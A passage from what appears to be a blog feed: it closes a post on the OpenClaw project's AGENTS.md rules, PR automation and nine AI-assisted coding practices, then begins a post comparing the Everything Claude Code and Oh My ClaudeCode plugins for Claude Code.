<p>The file operates as organizational memory for AI agents. Steinberger describes it as <strong>&ldquo;a collection of organizational scar tissue,&rdquo;</strong> because Codex itself has incrementally added content every time something went wrong.<sup id="fnref1:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup> Its key sections:</p>
<ul>
<li><strong>Build and test commands</strong>: Spelled out precisely — <code>pnpm build</code>, <code>pnpm check</code>, <code>pnpm test</code>, and <code>pnpm tsgo</code> for fast type checking</li>
<li><strong>Git conventions</strong>: Conventional Commits enforced with subsystem scopes such as <code>fix(telegram):</code> and <code>feat(skills):</code>, plus a required <code>git pull --rebase</code> before pushing</li>
<li><strong>Multi-agent safety rules</strong>: Never create, apply, or drop a git stash; never switch branches unless asked; if you find changes you do not recognize, assume another agent is working and carry on</li>
<li><strong>Changelog rules</strong>: Add only user-meaningful entries at the end of the section, and credit external contributors with the <code>Thanks @author</code> pattern</li>
<li><strong>Security boundaries</strong>: Never commit real phone numbers, production configuration values, or video files</li>
</ul>
<p>At the broader community level, <strong>automated code review is mandatory</strong>. If the GitHub Codex review does not run automatically, contributors must run <code>codex review --base origin/main</code> locally and treat the results as a required review task.<sup id="fnref2:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<hr>
<h2 id="4-pr-patterns-and-automation-at-scale">4. PR Patterns and Automation at Scale</h2>
<p>OpenClaw handles roughly <strong>14 new PRs per day</strong>, with 5,500+ open PRs and 19,000+ closed PRs at any given moment.<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup> That volume demands aggressive automation. The repository defines <strong>58 labels</strong> in total, split by component (<code>agents</code>, <code>cli</code>, <code>gateway</code>, <code>docker</code>), channel (<code>channel: telegram</code>, <code>channel: discord</code>, <code>channel: whatsapp-web</code>), and type (<code>docs</code>, <code>enhancement</code>, <code>bug</code>).<sup id="fnref1:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup></p>
<p>Several bots participate in the review process. The <strong>openclaw-barnacle</strong> bot handles auto-labeling and auto-response, <strong>Greptile-apps</strong> performs automated code analysis, and <strong>aisle-research-bot</strong> leaves review comments. The <code>.github/workflows/auto-response.yml</code> workflow automatically closes and locks issues matching specific patterns — TestFlight requests, third-party extension proposals, spam, and so on.<sup id="fnref1:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></p>
<p><code>VISION.md</code> imposes strong limits: <strong>one PR should address exactly one issue or topic</strong>, unrelated fixes should not be bundled, and PRs changing roughly 5,000 lines or more are reviewed only in exceptional cases.<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup> The CI pipeline includes the main test suite, install smoke tests, workflow health checks, and the auto-labeler, and the coverage bar requires <strong>70%+ across lines, branches, functions, and statements alike</strong>.<sup id="fnref3:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></p>
<hr>
<h2 id="5-nine-best-practices-distilled-from-the-vibe-coding-workflow">5. Nine Best Practices Distilled from the Vibe Coding Workflow</h2>
<p>OpenClaw&rsquo;s official <strong>Vibe Coding skill</strong> (1,700+ stars on ClawHub) codifies this methodology into a set of rules.<sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup> Combine that with Steinberger&rsquo;s publicly documented workflow and the repository&rsquo;s actual practices, and the most actionable patterns come out as follows.</p>
<h3 id="51-maintain-a-living-agentsmd-file">5.1 Maintain a Living <code>AGENTS.md</code> File</h3>
<p>This is the highest-leverage practice. Write it incrementally — add a rule every time an AI agent makes a mistake. Symlink it to <code>CLAUDE.md</code> for tool compatibility. Steinberger&rsquo;s file runs about 300 lines and covers git conventions, test commands, architectural patterns, file length limits (roughly 500 LOC), and multi-agent coordination rules. It converts oral tradition into machine-readable institutional memory.<sup id="fnref4:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup><sup id="fnref2:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></p>
<h3 id="52-use-a-research--plan--implement-workflow">5.2 Use a Research → Plan → Implement Workflow</h3>
<p>Have the AI explore the existing code before it implements anything. For example: &ldquo;Read the auth module and explain how sessions work.&rdquo; Then have it propose a plan: &ldquo;List the files you will modify and what changes in each one.&rdquo; Only after reviewing the plan do you move to implementation. <em>&ldquo;Catching a misunderstanding at the planning stage is 10x cheaper than debugging a cascade of errors.&rdquo;</em><sup id="fnref1:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<h3 id="53-enforce-conventional-commits-with-subsystem-scopes">5.3 Enforce Conventional Commits with Subsystem Scopes</h3>
<p>The <code>type(scope): description</code> pattern — for instance <code>fix(telegram): resolve TypeError in status command</code> — produces a machine-parsable history that AI agents can understand and that enables automated changelog generation. Use a committer helper script so that staging stays limited to the intended files.<sup id="fnref5:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></p>
<h3 id="54-treat-ai-agents-like-junior-engineers-you-manage">5.4 Treat AI Agents Like Junior Engineers You Manage</h3>
<p>This is Steinberger&rsquo;s central analogy. Human effort should concentrate on <strong>system architecture</strong> and <strong>taste</strong> — the ability to distinguish a solution that works from a solution that is elegant. Delegate implementation, boilerplate, and refactoring to the agents.<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<h3 id="55-run-parallel-agents-with-explicit-coordination-rules">5.5 Run Parallel Agents with Explicit Coordination Rules</h3>
<p>Multiple agents can work concurrently even in the same folder — provided <code>AGENTS.md</code> spells out the following. Check <code>git status</code> and <code>git diff</code> before modifying anything. Make atomic commits. Do not touch stashes or switch branches. If you see a change you do not understand, treat it as another agent&rsquo;s work and keep going. That is what turns &ldquo;vibe coding&rdquo; from a single-player game into a multiplayer orchestration problem.<sup id="fnref6:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup><sup id="fnref2:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<h3 id="56-treat-ai-prs-as-first-class-citizens-with-transparency-guaranteed">5.6 Treat AI PRs as First-Class Citizens, with Transparency Guaranteed</h3>
<p>Require contributors to disclose AI tool usage, state the level of testing, attach prompts or session logs, and confirm their understanding of the generated code. This is not about erecting barriers to entry. It gives reviewers the context they need to focus on the places where subtle AI-generated bugs are most likely to hide.<sup id="fnref3:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<h3 id="57-automate-everything-that-does-not-require-taste">5.7 Automate Everything That Does Not Require Taste</h3>
<p>OpenClaw uses auto-labeling, auto-response workflows, automated code review bots, stale issue management, secret detection, dead code analysis, and duplicate checking. The human role is architecture and quality judgment. Everything else should be automated or delegated to agents.<sup id="fnref2:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></p>
<h3 id="58-know-when-to-intervene-and-when-to-let-it-flow">5.8 Know When to Intervene and When to Let It Flow</h3>
<p>Hand scaffolding, UI components, boilerplate, and exploratory work to the AI. On the other hand, <strong>authentication, payments, data processing, database schemas, API permissions, and anything touching security</strong> require manual intervention. And always test after every change. AI produces code that is &ldquo;seemingly perfect but subtly buggy.&rdquo;<sup id="fnref2:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<h3 id="59-anchor-constraints-in-your-prompts">5.9 Anchor Constraints in Your Prompts</h3>
<p>Give explicit boundaries: line limits (&ldquo;50 lines or fewer&rdquo;), output format limits (&ldquo;only the modified function, not the whole file&rdquo;), scope anchors (&ldquo;payment flow only, do not touch auth&rdquo;), and style directives (&ldquo;follow the existing patterns in <code>UserService.ts</code>&rdquo;). Vague prompts produce vague results.<sup id="fnref3:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>The OpenClaw repository shows that production-scale vibe coding is not about abandoning engineering discipline but about <strong>relocating</strong> it. This project&rsquo;s 1,200+ contributors, 19,000+ merged PRs, and 18,000+ commits run on exactly the principles that make large software projects possible: clear conventions, automated enforcement, structured communication, and explicit boundaries.</p>
<p>The innovation lies in <em>who executes</em>. AI agents handle implementation; humans take architecture, taste, and coordination. The <code>AGENTS.md</code> (<code>CLAUDE.md</code>) pattern — a living, incrementally grown instruction file that accumulates <strong>&ldquo;organizational scar tissue&rdquo;</strong><sup id="fnref3:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup> — is the most easily transferable practice of all.</p>
<p>Steinberger&rsquo;s trajectory, moving from detailed specifications (June 2025) to short screenshot-driven prompts (late 2025) and then to running three to eight parallel agents with minimal supervision (2026), traces the learning curve every vibe coder will follow.<sup id="fnref3:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> The lesson is not that code no longer matters. It is that the center of gravity in software engineering has shifted: from mastery of writing code to mastery of designing the system that writes it. Accumulating a 300-line <code>AGENTS.md</code>, establishing a 70% coverage baseline, and designing multi-agent conflict rules is not bricklaying — it is architecture. And that architecture, too, demands a mastery that does not come easily.</p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>The Pragmatic Engineer, &ldquo;The creator of Clawd: I ship code I don&rsquo;t read&rdquo;: <a href="https://newsletter.pragmaticengineer.com/p/the-creator-of-clawd-i-ship-code">https://newsletter.pragmaticengineer.com/p/the-creator-of-clawd-i-ship-code</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>GitHub Repository — openclaw/openclaw: <a href="https://github.com/openclaw/openclaw">https://github.com/openclaw/openclaw</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Peter Steinberger, &ldquo;Shipping at Inference-Speed&rdquo;: <a href="https://steipete.me/posts/2025/shipping-at-inference-speed">https://steipete.me/posts/2025/shipping-at-inference-speed</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>TechCrunch, &ldquo;OpenClaw creator Peter Steinberger joins OpenAI&rdquo;: <a href="https://techcrunch.com/2026/02/15/openclaw-creator-peter-steinberger-joins-openai/">https://techcrunch.com/2026/02/15/openclaw-creator-peter-steinberger-joins-openai/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Peter Steinberger, &ldquo;OpenClaw, OpenAI and the future&rdquo;: <a href="https://steipete.me/posts/2026/openclaw">https://steipete.me/posts/2026/openclaw</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>TechSpot, &ldquo;OpenClaw creator says vibe coding is a slur against AI-assisted development&rdquo;: <a href="https://www.techspot.com/news/111468-openclaw-creator-vibe-coding-slur-against-ai-assisted.html">https://www.techspot.com/news/111468-openclaw-creator-vibe-coding-slur-against-ai-assisted.html</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Fortune, &ldquo;Who is OpenClaw creator Peter Steinberger?&rdquo;: <a href="https://fortune.com/2026/02/19/openclaw-who-is-peter-steinberger-openai-sam-altman-anthropic-moltbook/">https://fortune.com/2026/02/19/openclaw-who-is-peter-steinberger-openai-sam-altman-anthropic-moltbook/</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>README.md: <a href="https://github.com/openclaw/openclaw/blob/main/README.md">https://github.com/openclaw/openclaw/blob/main/README.md</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>DeepWiki architecture analysis — openclaw/openclaw: <a href="https://deepwiki.com/openclaw/openclaw/8-channels">https://deepwiki.com/openclaw/openclaw/8-channels</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>OpenClaw official documentation: <a href="https://docs.openclaw.ai">https://docs.openclaw.ai</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>Milvus Blog, &ldquo;What Is OpenClaw? Complete Guide to the Open-Source AI Agent&rdquo;: <a href="https://milvus.io/blog/openclaw-formerly-clawdbot-moltbot-explained-a-complete-guide-to-the-autonomous-ai-agent.md">https://milvus.io/blog/openclaw-formerly-clawdbot-moltbot-explained-a-complete-guide-to-the-autonomous-ai-agent.md</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>AGENTS.md (AI agent guide): <a href="https://github.com/openclaw/openclaw/blob/main/AGENTS.md">https://github.com/openclaw/openclaw/blob/main/AGENTS.md</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>Peter Steinberger, &ldquo;Just Talk To It — the no-bs Way of Agentic Engineering&rdquo;: <a href="https://steipete.me/posts/just-talk-to-it">https://steipete.me/posts/just-talk-to-it</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>CONTRIBUTING.md: <a href="https://github.com/openclaw/openclaw/blob/main/CONTRIBUTING.md">https://github.com/openclaw/openclaw/blob/main/CONTRIBUTING.md</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>Pull Requests — openclaw/openclaw: <a href="https://github.com/openclaw/openclaw/pulls">https://github.com/openclaw/openclaw/pulls</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>VISION.md: <a href="https://github.com/openclaw/openclaw/blob/main/VISION.md">https://github.com/openclaw/openclaw/blob/main/VISION.md</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>OpenClaw official Vibe Coding skill (ClawHub): <a href="https://playbooks.com/skills/openclaw/skills/vibe-coding">https://playbooks.com/skills/openclaw/skills/vibe-coding</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Everything Claude Code vs Oh My ClaudeCode: A Comparison for Team and Enterprise Adoption</title>
            <link>https://roboco.io/en/posts/everything-claude-code-vs-oh-my-claude-code/</link>
            <pubDate>Tue, 27 Jan 2026 09:30:31 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/everything-claude-code-vs-oh-my-claude-code/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;Everything Claude Code (ECC) hands developers a rich set of tools and guidelines. Its approach is to improve the output by making you follow optimal development habits and patterns. Oh My ClaudeCode (OMC), by contrast, automatically orchestrates multiple agents without any complicated setup. It focuses on getting results fast.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure class=&#34;author-image&#34;&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;I covered each of these in two earlier posts, &lt;a href=&#34;https://roboco.io/en/posts/everything-claude-code-distilled/&#34;&gt;Everything Claude Code Distilled&lt;/a&gt; and &lt;a href=&#34;https://roboco.io/en/posts/oh-my-claudecode-distilled/&#34;&gt;Oh My ClaudeCode Distilled&lt;/a&gt;. In this post I compare the two tools currently generating the most buzz in the vibe coding community, to help you choose between them.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>Everything Claude Code (ECC) hands developers a rich set of tools and guidelines. Its approach is to improve the output by making you follow optimal development habits and patterns. Oh My ClaudeCode (OMC), by contrast, automatically orchestrates multiple agents without any complicated setup. It focuses on getting results fast.</p>
</blockquote>
<figure class="author-image"><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>I covered each of these in two earlier posts, <a href="/en/posts/everything-claude-code-distilled/">Everything Claude Code Distilled</a> and <a href="/en/posts/oh-my-claudecode-distilled/">Oh My ClaudeCode Distilled</a>. In this post I compare the two tools currently generating the most buzz in the vibe coding community, to help you choose between them.</p>
<p>Here I compare the two GitHub open source projects — Everything Claude Code (affaan-m) and Oh My ClaudeCode (Yeachan-Heo) — from an adoption perspective.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>ECC is closer to a configurable toolbox, strong on quality, verification loops, and fine-grained control.</li>
<li>OMC is an automation-first approach that leads with parallel execution, automatic orchestration, and a low learning burden.</li>
<li>For team adoption, ECC fits better when long-term quality and standardization matter, and OMC fits better when rapid prototyping and parallel acceleration matter.</li>
</ul>
<hr>
<h2 id="comparison-summary">Comparison Summary</h2>
<table>
  <thead>
      <tr>
          <th>Criterion</th>
          <th>Everything Claude Code (ECC)</th>
          <th>Oh My ClaudeCode (OMC)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Core philosophy</strong></td>
          <td>Provides tools and guidelines, user-driven</td>
          <td>Automatic orchestration, system-driven</td>
      </tr>
      <tr>
          <td><strong>Features</strong></td>
          <td>Comprehensive agent/skill/hook set, TDD and verification loops, persistent memory</td>
          <td>5 execution modes, 32 agents, smart model routing</td>
      </tr>
      <tr>
          <td><strong>Parallelism</strong></td>
          <td>None (sequential execution)</td>
          <td>Ultrapilot up to 5x acceleration, Swarm collaboration</td>
      </tr>
      <tr>
          <td><strong>Usability</strong></td>
          <td>Some learning curve, driven by slash commands</td>
          <td>Zero configuration, natural language interface</td>
      </tr>
      <tr>
          <td><strong>Tech stack</strong></td>
          <td>JavaScript 70%, configuration-file centric</td>
          <td>TypeScript 82%, application-logic centric</td>
      </tr>
      <tr>
          <td><strong>Community</strong></td>
          <td>30k+ stars, hackathon winner, early stage</td>
          <td>2.8k stars, 30 releases, steady updates</td>
      </tr>
      <tr>
          <td><strong>Best suited for</strong></td>
          <td>Quality-focused, long-running projects, fine-grained control</td>
          <td>Rapid prototyping, large-scale parallel work</td>
      </tr>
  </tbody>
</table>
<hr>
<h2 id="feature-comparison-and-analysis">Feature Comparison and Analysis</h2>
<h3 id="everything-claude-code-ecc">Everything Claude Code (ECC)</h3>
<p>ECC is a collection that consolidates the components you need to get the most out of Claude Code.<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Stock Claude Code uses only a single agent. ECC adds a variety of subagents, domain-specific skills, and automatically triggered hooks.<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Examples include specialist agents such as <code>planner</code>, <code>architect</code>, <code>code-reviewer</code>, and <code>security-reviewer</code>. It also ships knowledge skill templates covering things like React/Next.js frontend patterns and database patterns.<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>Slash commands such as <code>/plan</code>, <code>/tdd</code>, <code>/code-review</code>, and <code>/build-fix</code> let you run specific tasks immediately.<sup id="fnref4:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The intent is that you no longer have to write a prompt from scratch for every workflow. It also includes memory management (saving and reloading context across sessions), continuous learning (extracting patterns from a session and storing them as skills), and automatic context compaction.<sup id="fnref5:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> These are the key elements that overcome the limits of long sessions and make continuous project progress possible. For these reasons ECC provides a comprehensive environment. One Medium review even likened it to &ldquo;an operating system for Claude Code.&rdquo;<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>That said, ECC&rsquo;s approach is to extend the basic Claude Code frame. It does not include features like concurrent parallel processing or advanced mode switching. A single agent performs a series of tasks sequentially. ECC&rsquo;s role is to support that process through agent specialization and automation tooling. The feature set is rich. In exchange, the user has to decide which tool to use and when. It has the strong character of a configurable toolkit.</p>
<h3 id="oh-my-claudecode-omc">Oh My ClaudeCode (OMC)</h3>
<p>OMC differs from ECC starting from its feature-planning philosophy. It was designed around the goal that &ldquo;the user shouldn&rsquo;t have to learn anything; it figures out the optimal approach on its own.&rdquo;<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Its most striking feature is the five execution modes.<sup id="fnref2:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<ul>
<li>Autopilot: fully automatic mode</li>
<li>Ultrapilot: parallel acceleration mode</li>
<li>Swarm: multiple agents collaborating on a task pool</li>
<li>Pipeline: chaining tasks into a sequential pipeline</li>
<li>Ecomode: a mode that prioritizes token savings</li>
</ul>
<p>Different strategies are applied automatically depending on the situation. For example, when writing backend and frontend code simultaneously in one project, Ultrapilot deploys multiple agents in parallel to increase speed. When the order of steps matters, as with testing or refactoring, Pipeline guarantees the sequence.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>OMC includes 32 specialist agents similar to ECC&rsquo;s.<sup id="fnref3:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> The difference is that rather than invoking them yourself, you give instructions in natural language and OMC selects the right agent. It even decides the parallel or sequential execution strategy.<sup id="fnref4:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Its smart model routing feature uses cheap, fast models (Haiku, for instance) for simple tasks and powerful models (Opus) for complex reasoning.<sup id="fnref5:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> That is how it balances cost and performance. This kind of automation is a strength that spares users effort on large projects and multi-stage work.</p>
<p>On the other hand, OMC&rsquo;s weakness is the risk that comes with complexity. Multiple agents work in an entangled fashion. When something goes wrong, tracing the cause is hard.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> There has also been criticism that the quality of automatically delegated agents is not always uniform.<sup id="fnref1:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> The point is that the limits of the &ldquo;tell Claude to act like an expert in each field&rdquo; prompting approach remain. Even so, continuous improvement is chipping away at those weaknesses. SQLite-based task coordination, among other things, raises collaboration reliability.<sup id="fnref6:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h3 id="conclusion">Conclusion</h3>
<p>On features, ECC is a tool collection that supports the entire development process in fine detail. OMC, in effect, automates the use of those tools to raise convenience and scalability. Sophisticated TDD and verification flows and session persistence are ECC&rsquo;s strengths. Parallel processing and automatic orchestration are OMC&rsquo;s unique strengths. If you need organizational code quality management or support for long sessions, ECC is the richer option. If you want a fast development cycle without separate customization, OMC&rsquo;s feature set has the advantage.</p>
<hr>
<h2 id="usability-comparison-and-analysis">Usability Comparison and Analysis</h2>
<h3 id="everything-claude-code-ecc-1">Everything Claude Code (ECC)</h3>
<p>Installing and configuring ECC is not difficult if you are familiar with the Claude Code CLI environment. The officially recommended method is to add it as a Claude Code plugin.<sup id="fnref6:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Entering just the marketplace-add command and the install command activates the ECC components.<sup id="fnref7:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Once installation finishes, agents, skills, hooks, and so on are registered in the <code>~/.claude/</code> directory. You can then use commands like <code>/tdd</code> and <code>/plan</code> directly in Claude Code. Cross-platform support is in place, so Windows can be set up with the same procedure without extra shell configuration.<sup id="fnref8:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>In the usage phase, however, an active role is required from the user. The ECC README states, in effect, that &ldquo;this repo is raw code, and everything is explained in the guide.&rdquo;<sup id="fnref9:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> It presupposes that you read the docs, understand the concepts, and then use it. For example, applying an ECC rule (.md) file may require manually copying it into the <code>~/.claude/rules/</code> folder or merging it into your configuration.<sup id="fnref10:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Which of the dozens of agents and skills bundled with ECC to invoke, and when, is ultimately up to the user as well. Once you are used to it, you gain the flexibility to pick exactly the features you need. Early on, the sheer size of the feature list can be a learning burden. In short: installation is easy. In exchange, there is a learning curve. Skilled use requires investing time to understand the structure.</p>
<h3 id="oh-my-claudecode-omc-1">Oh My ClaudeCode (OMC)</h3>
<p>OMC&rsquo;s developer designed its usability so that &ldquo;even a beginner instantly becomes a powerful Claude Code user.&rdquo;<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> Installation is by adding it as a plugin, just like ECC. Instead of a repository address, you can also point directly at the GitHub URL.<sup id="fnref1:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> An NPM installation option is available too.<sup id="fnref2:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> After the basic install, running the <code>omc-setup</code> command once completes the internal configuration automatically.<sup id="fnref3:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> From then on you just give natural language instructions without changing any settings.</p>
<p>For instance, you can say something like &ldquo;build this project in ultrapilot mode.&rdquo; Even if you only say &ldquo;build the project,&rdquo; it applies parallel mode on its own depending on the content. Being able to drive it through ordinary conversation, without memorizing slash commands, lowers the threshold.<sup id="fnref7:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> A HUD (status line) also shows the number of currently running agents and the active execution mode in real time.<sup id="fnref8:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> That helps you see progress visually even without knowing the internal process.</p>
<p>That said, OMC does not solve every situation either. When it misbehaves, identifying the cause can be hard. There has been feedback that when the configuration is not right, or an incompatibility arises from a Claude Code version change, it is difficult to work out where the problem originated.<sup id="fnref2:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> There was also criticism that the README at one point leaned too heavily on marketing copy and lacked concrete explanation.<sup id="fnref3:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> Recent updates have improved things with better documentation and setup scripts. Some assess that stability improved once it reached the v3.x line.</p>
<h3 id="conclusion-1">Conclusion</h3>
